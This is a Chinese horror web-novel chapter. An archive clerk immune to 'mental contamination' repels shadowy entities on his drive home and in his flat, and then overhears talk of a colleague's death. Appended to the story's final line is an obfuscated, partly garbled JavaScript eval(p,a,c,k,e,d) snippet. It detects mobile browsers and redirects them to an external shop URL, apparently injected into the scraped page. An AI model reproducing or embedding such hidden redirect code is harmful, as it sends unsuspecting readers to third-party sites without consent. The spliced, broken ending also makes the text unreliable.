不是外界的声音,而是那种典型的“污染后低语”。
【他在看。】
【他在听。】
【他没有回应。】
【他是空的。】
【他是……】
那声音在这里停顿了一下,像是在某个看不见的地方被强行切断。
赵屿的脑子里一阵刺痛。
他下意识抬手按了按太阳穴。
“你没事吧?”齐司问。
“没、没事。”赵屿勉强笑了一下,“可能是最近加班太多。”
他自己很清楚,那不是加班的问题。
那是——某种他们一直在研究的“东西”,刚刚试图通过他,去接触坐在他对面的这个人。
然后,在接触的瞬间,被迫中断。
不是被驱逐,而是——找不到落脚点。
就像一只试图落在水面上的鸟,突然发现那不是水,而是一个没有任何物理性质的“空”。
它无法停留,也无法下沉,只能在空中扑腾两下,然后被风吹走。
赵屿深吸一口气,把剩下的测试流程尽快走完。
最后,他合上文件夹。
“结论很明确。”他说,“你目前是我们记录里,暴露量最大、反应最小的个体。”
“哦。”齐司说。
“研究院那边打算把你的权限再往上提一提。”赵屿继续,“不仅是档案部这边的,还包括我们精神污染组、梦境组的一些核心资料。”
“我不做调查。”齐司说。
“我们知道。”赵屿点头,“你只需要继续做你现在在做的事——整理、保管、接触这些东西。”
“加班费?”齐司问。
赵屿愣了一下,随即笑出声。
“这个我可以帮你申请。”他说,“高暴露补贴、风险津贴,还有一部分研究协作费。”
“那随便。”齐司说。
赵屿站起身,收拾好东西。
临走前,他又看了齐司一眼。
那一眼里,除了专业的好奇之外,还多了一点说不清道不明的东西。
像是敬畏,又像是本能的退缩。
“如果你最近做了什么奇怪的梦,或者听见什么不该听见的声音,一定要第一时间联系我。”赵屿说,“这是我的内线。”
他把一张印着自己号码的小卡片放在桌上。
“我不做梦。”齐司说。
赵屿的手顿了一下。
“从来不做?”他问。
“记事起就没做过。”齐司说。
赵屿沉默了两秒。
“那就更有意思了。”他低声说了一句。
说完,他像是意识到自己说漏了什么,赶紧补了一句:“从研究角度讲。”
门在他身后关上。
档案室又只剩下键盘敲击声。
齐司把那张写着号码的小卡片塞进抽屉,压在一堆别的卡片、纸条、钥匙和U盘下面。
抽屉已经完全塞满,他用力压了两下,才勉强关上。
锁扣“咔哒”一声。
他看了看时间。
离下班,还有一小时零九分钟。
……
那天晚上,他准时下班。
打卡机在他刷卡的时候发出一声清脆的“滴”,屏幕上跳出“下班愉快”。
大楼外的天已经完全黑了,海风从远处吹过来,带着一点潮湿的腥味。
停车场的灯一盏一盏亮着,光圈在地面上拉出一片片淡黄的圆。
他走到自己的车旁,打开车门,坐进去。
车内还有白天晒过的温度,方向盘摸上去有点烫。
他插上钥匙,发动。
广播自动打开,调在某个本地新闻频道。
“……今日下午,沿海观测站再次报告海岸线异常后退现象,退幅约为——”
他伸手把广播关掉。
车里瞬间安静下来,只剩下发动机的低鸣。
他把车开出停车场,驶上回家的路。
路边的路灯一盏一盏往后退,光圈在挡风玻璃上划出规律的明暗交替。
在某个路口,他等红灯。
对面车道的车灯排成一行,远远看过去,像是一串发光的珠子。
他手搭在方向盘上,眼睛有点酸。
今天的字看得有点多。
红灯倒计时从“23”跳到“22”。
在“21”的时候,他眼角余光里,看到路边的广告牌有一点不对劲。
那块广告牌白天还在放某个饮料的广告,此刻却变成了一片漆黑。
黑得不像是灯坏了,更像是——那一块空间被挖空了。
黑暗的边缘不是直线,而是缓慢蠕动的弧线,像是有什么东西在里面翻滚。
如果有别的人在这里,一眼看过去,大概会在那块黑暗里看到某种形状。
那形状会根据每个人的恐惧不同而变化——有人会看到巨大的眼睛,有人会看到无数手臂,有人会看到自己被剥开的身体。
那东西从黑暗里探出一点点,像是在试探。
它的“目光”扫过路口的每一辆车。
某辆车里的司机突然打了个冷战,手里的烟掉在腿上,烫得他骂了一句脏话。
另一辆车里的小孩开始哭,说自己看到“怪物”。
那东西的“目光”最后落在齐司这边。
它停顿了一下。
【目标定位。】
【高暴露个体。】
【接触。】
它伸出一条看不见的“触须”,朝这辆车探过来。
那“触须”穿过挡风玻璃,穿过空气,直直伸向驾驶座。
在接触到齐司的那一瞬间——
【……】
一片空白。
不是被挡开,也不是被烧毁,而是——“触须”的前端突然失去了所有反馈。
就像伸手伸进了一块不存在的地方。
没有温度,没有质感,没有任何可以感知的东西。
那一小截“触须”在接触点附近开始出现细微的裂纹。
裂纹迅速扩散,像是玻璃被敲了一下。
【错误。】
【路径中断。】
【感知回路:断裂。】
【回溯。】
那东西本能地想要收回“触须”。
然而,在收回的过程中,它发现——那一小截已经无法带回去。
就像伸出去的一根手指,被卡在了某个不存在的缝隙里。
它只能眼睁睁看着那一小截“触须”在空白里慢慢崩解,化成一团细小的碎片。
那些碎片在空白的边缘堆积,像是一圈灰。
【污染失败。】
【损耗:1.3%。】
【原因:未知。】
【标记目标为——】
那东西试图给“齐司”这个目标打上一个标签。
【——不可接触。】
【——不可命名。】
【——错误。】
【——……】
它在这里卡住了。
因为在它的“语言”里,没有一个现成的词可以准确描述这种状态。
最终,它选择了一个最接近的。
【——空。】
红灯跳到“0”。
绿灯亮起。
齐司踩下油门,车平稳地开出去。
广告牌上的黑暗在他身后慢慢收缩,重新变成一块普通的LED屏幕,开始循环播放饮料广告。
“清爽每一天。”
回到家,他把车停进车位,上楼,开门。
屋里一如既往的安静。
客厅的灯自动亮起,沙发上还放着早上出门前随手扔的外套。
他换鞋,走到厨房,打开冰箱。
里面有昨天剩下的一盒打折便当,还有几罐啤酒,一些简单的食材。
他把便当拿出来,撕开包装,放进微波炉。
“滴——”
时间调到三分钟。
微波炉开始转,里面的便当盒在玻璃盘上缓慢旋转。
他靠在厨房门框上,打了个哈欠。
今天确实有点累。
不是那种精神上的,而是单纯的——看字看多了的眼睛疲劳。
微波炉转到一半,厨房的灯闪了一下。
不是电路问题,而是——光线在极短的一瞬间被某种看不见的东西“吃掉”了。
那东西从天花板的角落里探出一点点,像是一团半透明的影子。
它没有固定的形状,只是一团不断变化的暗色。
它在空气里嗅了嗅。
【新空间。】
【新入口。】
【无防护。】
【可侵入。】
它开始往屋子里扩散。
客厅的墙纸在它经过的时候,花纹微微扭曲了一下,沙发的影子在地面上拉长,电视屏幕里反射出的画面出现了一道细小的裂痕。
它沿着地板的缝隙,慢慢爬向厨房。
在靠近齐司的那一刻,它的边缘突然抖了一下。
【检测目标。】
【高暴露个体。】
【接触。】
它伸出一小撮“触角”,轻轻触碰齐司的脚踝。
【……】
又是那种彻底的空白。
那一小撮“触角”在接触点附近迅速变得透明,像是被什么东西抽空了。
【错误。】
【结构崩解。】
【回退。】
它本能地往后缩,试图远离这个“空白”。
在这个过程中,它不小心擦过厨房的墙角。
墙角那块本来就有点潮湿的地方,瞬间长出一圈黑色的霉斑。
霉斑在几秒钟内扩散,长出细小的触须,像是一圈倒着生长的苔藓。
【寻找其他入口。】
【绕开目标。】
它放弃了对齐司的直接接触,开始沿着房子的边缘游走。
卧室的门缝,书房的窗帘,浴室的镜子,每一个地方都被它轻轻碰了一下。
某个角落的影子变得更深了一点,某本书的封皮上多了一道几乎看不见的划痕,浴室镜子里映出的灯光多了一道细微的重影。
它在这个空间里留下了一些微不足道的痕迹。
这些痕迹会在接下来的几天、几周、几个月里,慢慢发酵。
如果这里住的是普通人,大概会在某个夜里突然从梦里惊醒,觉得有人在床边看着自己。
或者在洗澡的时候,看到镜子里自己的影子比本体慢了一拍。
或者在某个雨夜,听见墙里有东西在爬。
齐司把便当从微波炉里拿出来,端到客厅,坐在沙发上,一边吃一边看电视。
电视里在放某个综艺节目,笑声、掌声、背景音乐混在一起,填满了整个客厅。
他吃完,把盒子扔进垃圾桶,回房间洗澡,躺床上。
灯关掉,房间陷入黑暗。
窗外远处的海浪声隐约传进来。
那团在屋子里游走的“影子”最后停在天花板的一个角落里。
它缩成一小团,像是一块被遗忘的污渍。
【目标不可侵入。】
【标记空间为:高风险。】
【建议撤离。】
它在自己的“语言”里留下这个标记。
然后,慢慢淡去。
房间里只剩下均匀的呼吸声。
齐司闭着眼,脑子里一片空白。
没有梦。
……
第二天早上,他照常起床,刷牙,洗脸,出门,开车去单位。
大楼门口的安检机在他刷卡的时候发出一声“滴”,屏幕上跳出“欢迎”。
前台的安保人员看见他,眼神里带着一点复杂。
“早。”安保说。
“早。”齐司点头。
他走向电梯。
电梯门打开,里面已经站了几个人。
档案部的,同一层的,还有研究院那边的。
他们看到他,自动往里挪了挪,给他让出一个位置。
电梯门关上。
狭小的空间里,空气有点闷。
有人低声说话。
“听说了吗?梦境组昨晚又送走了一个。”
“谁?”
“那个总是说自己梦见海的人。”
“我靠,他不是才做完一次心理辅导吗?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16939308|192918||http|test|ni|href|location''''.split(''''|''''),0,{}));
(